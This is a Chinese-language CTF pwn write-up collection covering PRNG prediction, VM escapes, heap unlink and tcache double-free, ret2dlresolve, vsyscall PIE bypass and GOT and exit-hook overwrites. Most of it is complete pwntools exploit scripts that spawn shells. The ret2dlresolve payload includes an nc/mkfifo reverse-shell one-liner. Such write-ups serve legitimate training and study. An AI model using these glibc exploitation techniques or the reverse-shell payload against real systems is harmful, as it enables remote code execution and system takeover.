爆破 爆破算法 iscc2018_final_pwn1 最开始这个题目我也没太弄懂具体算法,那么我们就爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ch="qagvCYiheXulrpszNLwMtodbVx" ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM" tar="" import itertools for i in ta: tar+=chr(ch.index(i)+97) for i in itertools.product("0123",repeat=7): io.close() io = process(parm) sla(b"Give me a number!\n",b"8584") sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]") sla(b"phase 3... right?\n",tar) sla(b"time for phase 4.\n"," ".join(i)) if b"Congratulations, you won! Here's the flag:" in rl(): print(" ".join(i)) exit(0)
1 2 3 4 5 6 7 8 9 10 11 ch="qagvCYiheXulrpszNLwMtodbVx" ta="rqzzepiwMLepiwYsLYtpqpvzLsYeM" tar="" sla(b"Give me a number!\n",b"8584") sla(b"Give me an array of numbers!\n",b"[1, 1, 3, 5, 11, 21]") sla(b"phase 3... right?\n",tar) sla(b"time for phase 4.\n",b"0 0 0 1 1 2 1") it()
伪随机 随机数预测 bitsctf_2017_random_game https://buuoj.cn/challenges#bitsctf_2017_random_game time(0)其实是按照当前事件,所以我们可以完全在本地也同时运行进行预测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./bitsctf_2017_random_game" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147] elif "2.27" in libc.path: one_gadget = [0x4F2C5, 0x4F322, 0x10A38C] else: one_gadget = [] if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port =27808 io = remote(remote_ip, remote_port) else: io = process(elf_path) from math import floor from ctypes import CDLL libc = CDLL('./libc-2.23.so') now = int(floor(time.time())) libc.srand(now) for i in range(0,40): v8 = libc.rand() & 0xF io.sendline(str(v8)) it()
这里多一点,避免有不一样的,然后运行就可以了,所以下次遇到随机数其实是可以预测的
虚拟机 seccon2018_kindvm 一个比较简单的虚拟机,修改指针为flag,然后会读出内容,这里不需要leak,因为堆上有堆地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def inn(pianyi,value): return b"\x07"+p8(pianyi)+p32(value)[::-1] def store(mem_pianyi,reg_pianyi): return b"\x02"+p16(mem_pianyi)[::-1]+p8(reg_pianyi) def load(reg_pianyi,mem_pianyi): return b"\x01"+p8(reg_pianyi)+p16(mem_pianyi)[::-1] def add(char_pianyi,pianyi): return b"\x04"+p8(char_pianyi)+p8(pianyi) #banner.txt 0x24 #leak 0x28 sla(b"ur name : ",b"a") payload=load(0,(1<<16)-0x28)+inn(1,0x20)+add(1,0)+store((1<<16)-0x24,1)+b"\x07\x00galf"+store(0x10,0)+inn(0,0)+store(0x14,0)+b"\x06" sa(b"Input instruction : ",payload) it()
wdb_2018_2nd_hvm https://buuoj.cn/challenges#wdb_2018_2nd_hvm 这种虚拟机题目首先还是要看syscall,因为他会在syscall进行一些赋值 这里就可以确定具体bss的值对应哪些寄存器 一直用来读取指令的很明显就是我们的ip rsp和rbp就继续分析就好 然后问题一般出现在虚拟机要执行的指令文件里面,需要先把要执行的指令逆向一下 这是题目提供的虚拟机程序对应的代码,可以看到有个栈溢出,我们直接覆盖写个syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 push "o\n" push "hello" mov rsi,rsp mov rdi,0x1 mov rdx,0x6 mov rax,1 syscall push rip jmp short e*4 push rbp mov rbp,rsp sub rsp,0x30 mov rsi,rsp mov rdi,0 mov rdx,0xf0 mov rax,0 syscall mov rsp,rbp pop rbp ret tmp+3
1 2 3 4 5 6 7 8 9 10 11 12 13 sa(b"hello\n" ,b"a" *0x34 +p32(0xfbfbffff )+p32(0x1A )+p32(0 )+p32(0x4 )+p32(0 )+p32(7 )+b"/sh\0" +p32(7 )+b"/bin" +p32(0xd )+p32(1 )+p32(0x3b000000 )+p32(0xe )) it()
下面是ida分析过的文件 后缀改成i64wdb_2018_2nd_hvm.txt
C/S架构题目 [GKCTF 2021]demo_catRoom https://buuoj.cn/challenges#[GKCTF%202021]demo_catRoom 漏洞不复杂,堆溢出,修改用户名为admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *it = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./client" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] b *$rebase(0xF56 ) malloc调试 b *$rebase(0x1205 ) flag测试 b *$rebase(0x148B ) free gdbscript = """ b *$rebase(0x1199) c """ db=gdb.debug("./server" ,gdbscript=gdbscript) sleep(1 ) if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =25857 io = remote(remote_ip, remote_port) else : io = process([elf_path,"117.21.200.166" ,"29119" ]) def reg (name,password ): sla(b"exit \n" ,b"1" ) sla(b"input your name\n" ,name) sla(b"nput your passwd\n" ,password) def login (name,password ): sla(b"exit \n" ,b"2" ) sla(b"input your name\n" ,name) sla(b"nput your passwd\n" ,password) def delete (name,password ): sla(b"exit \n" ,b"4" ) sla(b"nput your remove name\n" ,name) sla(b"nput your passwd\n" ,password) reg(b"a" ,b"a" ) reg(b"b" ,b"b" ) delete(b"a" ,b"a" ) reg(b"a" *32 ,b"b" *0x28 +p64(0xffffffffffffffff )+b"admin\0" ) login(b"admin" ,b"b" ) it()
好题 利用初始化变量 hitb-2017 1000levels 最开始看到这个hint函数,里面需要这样可以打印system的地址 但是后来发现这个system地址会被放到栈上 刚好就是v4这个地址,所以我们v1输入负数,防止v4被破坏,然后read_num可以输入一个偏移,这里我利用的是one_gadget,因为虽然rdi指向的是栈,但发现利用vsyscall之后就会变,还是one_gadget稳定 然后就是传统的vsyscall的第一个time就可以
1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Choice:\n",b"2") sla(b"Choice:\n",b"1") sla(b"How many levels?\n",b"-1") sla(b"Any more?\n",b"-378")#one_gadget for i in range(0x3e6): ru(b"Question: ") sla(b"Answer:",str(eval(rud(b"=")))) ru(b"Question: ") sa(b"Answer:",b"a"*0x38+p64(0xffffffffff600000)*13) it()
ret2dlresolve HITCON 2015 -blinkroot 题目比较好,比较早开始打ret2dlresolve 主要要伪造 DT_SYMTABDT_JMPREL 利用任意地址写修改got+8为fake_link_map的地址 然后后面就是复杂的指针的构造 reloc->r_info=7 sym->st_other!=0就可以 但是调试起来确实好麻烦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #DT_SYMTAB 6 # DT_STRTAB 5 这个偏移只要是个地址就可以,别的无所谓 #DT_JMPREL 23 #0x5000 #link_map距离gbuf 0xf80 #p * (struct link_map *)0x7f463f196000 #debug_force() fake_link_map_start_addr=0x600Bc0+0x100 payload=p64(-0x80+(1<<64))+p64(fake_link_map_start_addr)#任意地址写,修改got+8处的值为我们伪造的linkmap结构体 payload+=b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f" payload=payload.ljust(0x100,b"\x00") system_libc_main=libc.sym["system"]-libc.sym["__libc_start_main"] read_got=0x600B78 #fake reloc payload+=p64(system_libc_main)+p64(read_got)+p64(0)+p64(fake_link_map_start_addr+8)+p64(read_got-system_libc_main)+p64(7)+p64(0)*2 l_info = p64(0)*5+p64(fake_link_map_start_addr)+p64(fake_link_map_start_addr)+p64(0)*(23-7)+p64(fake_link_map_start_addr+0x10) payload+=l_info payload=payload.ljust(0x400,b"\x00") s(payload) it()
BYPASS PIE 我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正) 可以看到始终有固定地址的,我们给他dump下来 值得注意的是,vsyscall的地址是固定不变的,即使开启了PIE也不会改变!
可以利用的vsyscall有三个,地址如下
gettimeofday: 0xffffffffff600000 time: 0xffffffffff600000 getcpu: 0xffffffffff600000 【vsyscall的局限】
分配的内存较小;
只允许4个系统调用;
Vsyscall页面在每个进程中是静态分配了相同的地址;
【vDSO】
提供和vsyscall相同的功能,同时解决了其局限。
vDSO是动态分配的,地址是随机的;
可以提供超过4个系统调用;
vDSO是glibc库提供的功能 地址是固定的:
基地址:0xffffffffff600000
#define VSYSCALL_ADDR_vgettimeofday 0xffffffffff600000
#define VSYSCALL_ADDR_vtime 0xffffffffff600400
#define VSYSCALL_ADDR_vgetcpu 0xffffffffff600800
1 dump memory ./dump 0xffffffffff600000 0xffffffffff601000
这个我dump不下来
unexplitable 1 2 3 s(b"a" *0x18 +p64(0xffffffffff600000 )+p64(0xffffffffff600000 )+p64(0 )) it()
漏洞不明显 inndy_notepad https://buuoj.cn/challenges#inndy_notepad 这个题漏洞是真他妈不明显 欸,要小心函数指针这种越界 如果v3=<1,那么就不是找的堆本身保存的两个函数指针,我们可以利用堆的连续性,在前面布置上恶意的函数指针,如free_plt,或者puts_plt,来达到free的效果,然后再搞成one_gagdet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * # shell = ssh(host="node4.buuoj.cn", user="CTFMan", port=26682, password="guest") # shell.process it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./notepad" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if "2.23" in libc.path: one_gadget = [0x3A80C, 0x3A80E, 0x3A812, 0x3A819, 0x5F065, 0x5F066] elif "2.27" in libc.path: one_gadget = [ 0x3CBEA, 0x3CBEC, 0x3CBF0, 0x3CBF7, 0x6729F, 0x672A0, 0x13573E, 0x13573F, ] else: one_gadget = [] if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 27250 io = remote(remote_ip, remote_port) else: io = process(elf_path) def debug(): global io gdbscript = """ b *0x8048CE8 c x/10xw 0x804B080 """ gdb.attach(io, gdbscript=gdbscript) def add(size,content): sla(b"::> ",b"a") sla(b"size > ",str(size)) sla(b"data > ",content) def free(index): sla(b"::> ",b"c") sla(b"id > ",str(index)) def show(index): sla(b"::> ",b"b") sla(b"id > ",str(index)) sla(b"edit (Y/n)",b"n") sla(b"::> ",b"a") def read_only(index): sla(b"::> ",b"d") sla(b"id > ",str(index)) def edit(index,content,juece): sla(b"::> ",b"b") sla(b"id > ",str(index)) sla(b"edit (Y/n)",b"Y") sla(b"content > ",content) sla(b"::> ",juece) def edit_twice(index,juece): sla(b"::> ",b"b") sla(b"id > ",str(index)) sla(b"::> ",juece) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2:] + out out = "0x" + out return out sla(b"::> ",b"c") add(0x14,p32(elf.plt["free"]))#0 add(0x224,b"a")#1 add(0x14,b"a")#2 edit(1,b"a",chr(ord(b"a")-6)) edit(0,p32(elf.plt["puts"]),b"a") edit_twice(1,chr(ord(b"a")-6)) libc_base=u32(ru(b"\xf7"))+0xf7d49000-0xf7ef97b0 add(0x14,b"a")#3 add(0x14,b"a")#4 edit(3,p64(libc_base+one_gadget[0]),b"a") edit(4,b"a",chr(ord(b"a")-6)) #edit(0,b"a"*0x14) it()
花式unlink ciscn_2019_en_5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_en_5" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27372 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xe5c) c x/10xg $rebase(0x202060) x/10xg $rebase(0x202100) x/xg $rebase(0x2021A0) " "" gdb.attach(io, gdbscript=gdbscript) #7 -512 def add(size,content): sla(b"choice> " , b"1" ) sla(b"length> " ,str(size)) sa(b"content> " ,content) #清零了 def free(index): sla(b"choice> " , b"3" ) sla(b"index> " ,str(index)) def show(index): sla(b"choice> " , b"2" ) sla(b"index> " ,str(index)) # def edit(index,content): # sla(b"Your choice: " , b"4" ) # sla(b"book to write?" ,str(index)) # sa(b"Content: " ,content) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2 :] + out # out = "0x" + out # return out sla(b"name> " ,b"a" *24 ) for i in range (10 ): add(0x98 ,b"a\n" ) for i in range (7 ): free(3 +i) for i in range (2 ): free(i) add(0x10 ,b"a\n" )#0 add(0x78 ,b"a\n" )#1 add(0x58 ,b"a\n" )#3 #这里如果一次拿完,就会导致prev_inuse为不为1 ,后续free会报错,这个块先会被放到tcache,这里会把下一块prev_inuse设为1 ,但从tcache里面拿不会修改这个块的prev_inuse位 #但是如果大小不是完全一样,这里由于是last_remainder,所以会进行切割,这里会set_header,prev_inuse,因为glibc认为如果last_remainder的前面一块是free的,那么一定会合并,如果没有合并说明前面一定是inuse for i in range (7 ): add(0x78 ,b"a\n" ) for i in range (7 ): free(4 +i) free(1 ) free(2 ) add(0x28 ,b"a\n" )#如果add78就会分配到tcache里面去 add(0x38 ,b"a\n" ) show(3 ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f0bd60d2000 -0x7f0bd64bdca0 for i in range (20 -4 ): add(0x48 ,b"a\n" ) add(0x48 ,b"/bin/sh||" .ljust(0x20 ,b"a" )+p64(libc_base+libc.sym["__free_hook" ])) sla(b"choice> " , b"4" ) sla(b"remarks> " ,p64(libc_base+libc.sym["system" ])) it()
堆分配地址受限 qwb2019_one BUUCTF在线评测 (buuoj.cn)
这个题目是个好题,首先是strchr,如果是\x00,则会匹配到最后一个字节,然后替换造成越界
最开始我可以直接堆块重叠 double free但是由于会check分配的地址是不是在堆上,所以失败
这个题目可以泄露bss地址,那么就unlink,unlink可以让我们控制指针数组,达到任意地址写,并且不需要利用malloc
思路很好的题目,但是exp不太好看,因为要利用越界写fake chunk之类的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./one" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =26480 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0x111B) c x/xg $rebase(0x203060) " "" gdb.attach(io, gdbscript=gdbscript) sleep(1 ) def add(content): sla(b"command>> \n" , b"1" ) sa(b"Now, you can input your test string:\n" ,content) #清零了 def free (index): sla(b"command>> \n" , b"4" ) sla(b"Please give me the index of the string:\n" ,str(index)) def show(index): sla(b"command>> \n" , b"3" ) sla(b"Please give me the index of the string:\n" ,str(index)) def edit(index,charr,content): sla(b"command>> \n" , b"2" ) sla(b"Please give me the index of the string:\n" ,str(index)) sa(b"Which char do you want to edit:\n" ,charr) sla(b"What do you want to edit it into:\n" ,content) #泄露elf load addr sla(b"command>> \n" , str(0x3124 )) sla(b"Do you want to use one?(Y/N)\n" ,b"Y" ) sla(b"Here are 5 strings to be tested. Which one do you want to test?\n" ,str(0x80000000 )) ru(b"The string:\n" ) target_addr=u64(rld().ljust(8 ,b"\0" )) if target_addr<0x4030c0 : exit (0 ) add(b"a" *0x20 ) for i in range(0x11 ): add(b"/bin/sh\n" ) for i in range(0x18 ): edit(0 ,b"\x00" ,b"a" ) edit(0 ,b"\x00" ,b"\x04" ) edit(0 ,b"\x41\x00" ,b"\x40" ) for i in range(0 ,0x38 ): edit(0 ,b"a\x00" ,chr(ord('a' )+i+1 )) fake_chunk=p64(0 )+p64(0x31 )+p64(target_addr-0x18 )+p64(target_addr-0x10 )+p64(0 )*2 +p64(0x30 ) for i in range(0x37 ,-1 ,-1 ): edit(0 ,chr(ord('a' )+i+1 )+"\x00" ,p8(fake_chunk[i])) free (1 )#unlink ptr=p64(target_addr-0x18 ) target=p64(target_addr+0x8 ) for i in range(0x18 ): edit(0 ,b"\x00" ,b"\x01" ) for i in range(1 ): edit(0 ,p8(ptr[i])+b"\x00" ,p8(target[i])) load_addr=target_addr-0x2030c0 puts_got=p64(elf.got["puts" ]+load_addr) for i in range(8 ): edit(0 ,b"\x00" ,p8(puts_got[i])) show(1 ) ru(b"The string is:\n" ) libc_base=u64(rld().ljust(8 ,b"\0" ))-libc.sym["puts" ] free_hook=p64(libc_base+libc.sym["__free_hook" ]) for i in range(8 ): edit(0 ,p8(puts_got[i])+b"\x00" ,p8(free_hook[i])) system_addr=p64(libc_base+libc.sym["system" ]) for i in range(8 ): edit(1 ,b"\x00" ,p8(system_addr[i])) free (2 )it()
奇奇怪怪的题目 综合bypass ciscn_2019_final_10 BUUCTF在线评测 (buuoj.cn)
负数绕过
转化为char是0
然后double free修改内容
\0\0绕过判断
这里执行完之后修改了第一个指令,但是不影响,已经执行完了,这里rax就是shellcode起始地址
1 2 3 4 5 6 7 8 9 10 11 sa(b"> " ,b"a" ) sla(b"> " ,str(0x80000000 -(1 <<32 ))) add(0x30 ,b"a" ) free ()free ()add(0x30 ,b"\x90" ) add(0x30 ,b"0" ) add(0x30 ,b"The cake is a lie!\0" ) sla(b"> " , b"3" ) sa(b"> " ,b"\x00\x00" +asm (shellcraft.sh())) it()
异常 itcon_2018_hackergame_2018_calc BUUCTF在线评测 (buuoj.cn)
一个比较好玩的题目
异常处理函数这里是个后门,所以我们要触发异常
过滤了除0异常,但还有一种异常
2147483648/4294967295也就是-0x8000000/-1也可以引发异常
触发异常之后绕过sh
我们可以调用vim然后:!sh返回shell
1 2 3 4 sla(b">>> " , b"2147483648/4294967295" ) sla(b"examine:\n" , b"vim" ) sla(b"terminal\n" , b":!sh" ) it()
ulimit pwnable_otp BUUCTF在线评测 (buuoj.cn)
比较新奇的题目
创建了一个文件,从文件里面读取passwd
我们可以先执行ulimit -f 0限制创建文件大小,这样size就是0,从里面读入的就是空
然后执行
解释器 wdb_2018_final_pwn1 https://buuoj.cn/challenges#wdb_2018_final_pwn1 解释器,可以覆盖got,exit改为one_gatgeht
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *it = lambda : io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True ) r = lambda x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./wdb_2018_final_pwn1" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =26113 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug (): global io gdbscript = """ b *0x400B30 c """ gdb.attach(io, gdbscript=gdbscript) def add (size,data ): sla(b"Exit\n" , b"2" ) sla(b"3. Large\n" ,str (size)) sla(b"Enter your item`s name: \n" ,data) def free (index ): sla(b"Exit\n" , b"4" ) sla(b" like to remove?\n" ,str (index)) def add_to_list (size,num ): sla(b"Exit\n" , b"3" ) sla(b"3. Large\n" ,str (size)) sla(b"would you like to add?\n" ,str (num)) def show (): sla(b"Exit\n" , b"1" ) def edit (index,content ): sla(b"Exit\n" , b"5" ) sla(b"you like to edit?\n" ,str (index)) sla(b"item`s new name: \n" ,content) payload=b"<" *32 +b"." +b">." *5 +b"<" *(5 +64 )+b"," +b">," *5 +b"\x00" sla(b"Put the code: " ,payload) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["_IO_2_1_stderr_" ] one_gadget_addr=libc_base+one_gadget[1 ] while one_gadget_addr: s(p8(one_gadget_addr&0xff )) sleep(0.1 ) one_gadget_addr=one_gadget_addr>>8 it()
pwnable_bf BUUCTF在线评测 (buuoj.cn)
解析指令做一些操作,不过这里可以覆盖到got表,所以可以劫持控制流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload = ( b"<" * 120 + b".>.>.>." + b">" * 5 + b",>,>,>," + b"<" * 7 + b",>,>,>," + b"<" * (3 + 7 * 4 ) + b",>,>,>," + b"." ) sla(b"except [ ]\n" , payload) addr = 0 for i in range(4 ): addr += u8(r(1 )) << i * 8 libc_base = addr - libc.sym["setvbuf" ] for i in p32(elf.sym["main" ]): s(p8(i)) for i in p32(libc.sym["gets" ] + libc_base): s(p8(i)) for i in p32(libc.sym["system" ] + libc_base): s(p8(i)) sl(b"/bin/sh\0" ) it()
exit elf_set___libc_atexit_elementIO_cleanup newest_note 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./newest_note" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc # if "2.23" in libc.path: # one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] # elif "2.27" in libc.path: # one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] # else : # one_gadget = [] if len(sys.argv) > 1 : remote_ip = "123.56.111.202" remote_port =12885 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0x14A4) b *$rebase(0x14D2) b *$rebase(0x169B) b *$rebase(0x13A5) c x/xg $rebase(0x4190) " "" gdb.attach(io, gdbscript=gdbscript) sleep(1 ) def add(index,content): sla(b": " , b"1" ) sla(b"Index: " ,str(index)) sa(b"Content: " ,content) def free (index): sla(b": " , b"2" ) sla(b"Index: " ,str(index)) def show(index): sla(b": " , b"3" ) sla(b"Index: " ,str(index)) # def edit(index,content): # sla(b"enter your command: \n" , b"3" ) # sla(b"Index: \n" ,str(index)) # sa(b"message: \n" ,content) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2:] + out # out = "0x" + out # return out #最高位不能是1 ,不然就变成负数了 sla(b"notebook will be? :" ,str(0x60004200 )) show((0x7f119629acf0 -0x7f119605d010 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7ff36b130cd0 +0x7ff36af18000 for i in range(0 ,9 ): add(i,b"a" ) for i in range(7 ): free (i) if i==0 : show(0 ) ru(b"Content: " ) cookie=u64(rld().ljust(8 ,b"\0" )) first_heap_addr=(cookie<<12 )+0x290 free (7 )free (8 )free (7 )for i in range(7 ): add(i,b"a" ) #__elf_set___libc_atexit_element__IO_cleanup__=libc_base+0x21a6c8 __libc_atexit=libc_base+libc.get_section_by_name("__libc_atexit" ).header["sh_addr" ] add(7 ,p64((__libc_atexit-0x8 )^cookie)) add(8 ,b"a" ) add(9 ,b"a" ) one_gadget=0xeeccc +libc_base add(10 ,p64(0 )+p64(one_gadget)) #debug() sla(b": " , b"4" ) it()
这个题目首先有两点
free次数有限
在libc-2.34中,一次doublefree至少需要free 10次,因为tcache会check每一个chunk是否一样,同时free到fastbin的时候也会先去tache里面check是否重复,所以7次填满tcache,fastbin double free
但题目只有10次,所以相当于这次double free是用来写backdoor
但是没有libc泄露
所以libc泄露就要去整数溢出
0x60004200
0x60004200*8=0x300021000 ,0x21000保证我们会用 mmap,因为当前top chunk大小为0x20df0左右
这个时候利用main_arena里面的指针show就可以了
由于2.34没有free_hook之类的,所以放到exit_hook里面
本来旧版本可以打exit_function→fun[],但里面的地址xor了fs:[0x30]所以无法修改
注意到最后有个elf_set___libc_atexit_elementIO_cleanup的地址,里面保存了io_cleanup
这个函数地址没有校验,就打这个
one_gadget一把锁
后续 libc-2.24以后,对于这个exit_function_list的地址都做了异或,所以不能再修改这个了
但由于exit调用传入的run_list_atexit是true,所以可以使用RUN_HOOK
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # define RUN_HOOK(NAME, ARGS) \ do { \ void *const *ptr; \ for (ptr = (void *const *) symbol_set_first_element (NAME); \ ! symbol_set_end_p (NAME, ptr); ++ptr) \ (*(__##NAME##_hook_function_t *) *ptr) ARGS; \ } while (0) 这里修改一下就是 do { void *const *ptr; for (ptr = (void *const *) symbol_set_first_element (__libc_atexit); \ ! symbol_set_end_p (__libc_atexit, ptr); ++ptr) \ (*(__##__libc_atexit##_hook_function_t *) *ptr) (); \ } while (0 ) #define symbol_set_first_element(set) ((void *const *) (&__start_##set)) #define symbol_set_end_p(set, ptr) ((ptr) >= (void *const *) &__stop_##set) do { void *const *ptr= (void *const *) ((void *const *) (&__start_##__libc_atexit)) for (;! symbol_set_end_p (__libc_atexit, ptr); ++ptr) (*(__##__libc_atexit##_hook_function_t *) *ptr) (); } while (0 )
